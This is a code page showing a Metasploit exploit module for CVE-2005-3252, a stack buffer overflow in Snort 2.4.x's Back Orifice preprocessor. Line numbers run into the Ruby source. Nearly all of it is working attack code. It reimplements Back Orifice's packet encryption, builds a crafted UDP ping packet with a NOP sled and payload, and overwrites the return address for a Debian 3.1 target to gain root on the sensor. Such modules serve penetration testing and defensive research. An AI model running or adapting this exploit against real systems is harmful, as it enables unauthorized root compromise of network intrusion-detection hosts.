Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ids/snortbopre.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the Back Orifice pre-processor module15included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could16be used to completely compromise a Snort sensor, and would typically gain an attacker17full root or administrative privileges.18},19'Author' => 'KaiJern Lau <xwings[at]mysec.org>',20'License' => BSD_LICENSE,21'References' =>22[23['CVE', '2005-3252'],24['OSVDB', '20034'],25['BID', '15131']26],27'Payload' =>28{29'Space' => 1073, #ret : 106930'BadChars' => "\x00",31},32'Platform' => %w{ linux },33'Targets' =>34[35# Target 0: Debian 3.1 Sarge36[37'Debian 3.1 Sarge',38{39'Platform' => 'linux',40'Ret' => 0xbffff35041}42],43],44'DefaultTarget' => 0,45'DisclosureDate' => '2005-10-18'))4647# Configure the default port to be 908048register_options(49[50Opt::RPORT(9080),51])52end5354def msrand(seed)55@holdrand = 3133756end5758def mrand()59return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)60end6162def bocrypt(takepayload)6364@arrpayload = (takepayload.split(//))6566encpayload = ""67@holdrand=068msrand(0)6970@arrpayload.each do |c|71encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr72end7374return encpayload75end767778def exploit79connect_udp8081boheader =82"*!*QWTY?" +83[1096].pack("V") + # Length ,thanx Russell Sanford84"\xed\xac\xef\x0d"+ # ID85"\x01" # PING8687filler =88make_nops(1069 -(boheader.length + payload.encode.length))8990udp_sock.write(91bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))92)9394handler95disconnect_udp96end97end9899100